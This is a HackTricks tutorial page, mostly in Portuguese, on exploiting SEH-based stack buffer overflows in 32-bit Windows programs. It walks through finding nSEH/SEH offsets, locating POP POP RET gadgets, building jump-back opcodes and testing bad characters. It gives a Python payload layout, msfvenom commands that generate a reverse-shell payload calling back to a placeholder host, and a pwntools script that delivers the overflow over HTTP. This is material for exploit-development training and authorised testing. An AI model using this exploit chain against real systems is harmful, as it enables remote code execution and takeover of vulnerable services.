Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SEH-based exploitation é uma técnica clássica do Windows x86 que abusa da cadeia Structured Exception Handler armazenada na stack. Quando um stack buffer overflow sobrescreve os dois campos de 4 bytes
- nSEH: ponteiro para o próximo registro SEH, e
- SEH: ponteiro para a função de tratamento de exceção
um atacante pode tomar controle da execução através de:
- Configurar SEH para o endereço de um POP POP RET gadget em um módulo sem proteção, de modo que quando uma exceção for despachada o gadget retorne para bytes controlados pelo atacante, e
- Usar nSEH para redirecionar a execução (tipicamente um short jump) de volta para o grande buffer overflow onde o shellcode reside.
Esta técnica é específica para processos 32-bit (x86). Em sistemas modernos, prefira um módulo sem SafeSEH e ASLR para o gadget. Caracteres problemáticos frequentemente incluem 0x00, 0x0a, 0x0d (NUL/CR/LF) devido a C-strings e parsing HTTP.
Encontrando offsets exatos (nSEH / SEH)
- Cause a falha no processo e verifique se a cadeia SEH foi sobrescrita (por exemplo, em x32dbg/x64dbg, verifique a SEH view).
- Envie um padrão cíclico como os dados de overflow e calcule os offsets dos dois dwords que caem em nSEH e SEH.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Valide colocando marcadores nessas posições (por exemplo, nSEH=b"BB", SEH=b"CC"). Mantenha o comprimento total constante para tornar o crash reproduzível.
Escolhendo um POP POP RET (SEH gadget)
Você precisa de uma sequência POP POP RET para desempilhar o frame SEH e retornar para os seus bytes nSEH. Encontre-a em um módulo sem SafeSEH e, idealmente, sem ASLR:
- Mona (Immunity/WinDbg):
!mona modules
então!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
para listar POP POP RET gadgets e o status do SafeSEH.
Escolha um endereço que não contenha badchars quando escrito little-endian (por exemplo, p32(0x004094D8)
). Prefira gadgets dentro do binário vulnerável se as proteções permitirem.
Técnica de jump-back (short + near jmp)
nSEH tem apenas 4 bytes, o que comporta no máximo um short jump de 2 bytes (EB xx
) mais padding. Se você precisar saltar centenas de bytes para alcançar o início do seu buffer, use um near jump de 5 bytes colocado logo antes do nSEH e encadeie para ele com um short jump a partir do nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Ideia de layout para um payload de 1000 bytes com nSEH no offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Execution flow:
- Ocorre uma exceção; o dispatcher usa o SEH sobrescrito.
- POP POP RET desempilha até o nosso nSEH.
- nSEH executa
jmp short -8
no salto near de 5 bytes. - Near jump aterrissa no início do nosso buffer, onde residem o NOP sled + shellcode.
Bad characters
Construa uma badchar string completa e compare a memória da pilha após o crash, removendo bytes que são corrompidos pelo parser alvo. Para overflows baseados em HTTP, \x00\x0a\x0d
são quase sempre excluídos.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Use msfvenom com seus badchars. Um pequeno NOP sled ajuda a tolerar variações na posição de aterrissagem.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Se gerado dinamicamente, o formato hex é conveniente para embutir e converter de hex em Python:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Entregando via HTTP (precise CRLF + Content-Length)
Quando o vetor vulnerável é o corpo de uma HTTP request, crie uma raw request com CRLFs e Content-Length exatos para que o servidor leia todo o corpo que está transbordando.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Tooling
- x32dbg/x64dbg para observar a cadeia SEH e fazer a triagem do crash.
- ERC.Xdbg (plugin do x64dbg) para enumerar gadgets SEH:
ERC --SEH
. - Mona como alternativa:
!mona modules
,!mona seh
. - nasmshell para montar short/near jumps e copiar opcodes brutos.
- pwntools para criar payloads de rede precisos.
Notes and caveats
- Aplica-se apenas a processos x86. x64 usa um esquema SEH diferente e exploração baseada em SEH geralmente não é viável.
- Prefira gadgets em módulos sem SafeSEH e ASLR; caso contrário, encontre um módulo sem proteção carregado no processo.
- Watchdogs de serviço que reiniciam automaticamente após um crash podem facilitar o desenvolvimento iterativo do exploit.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.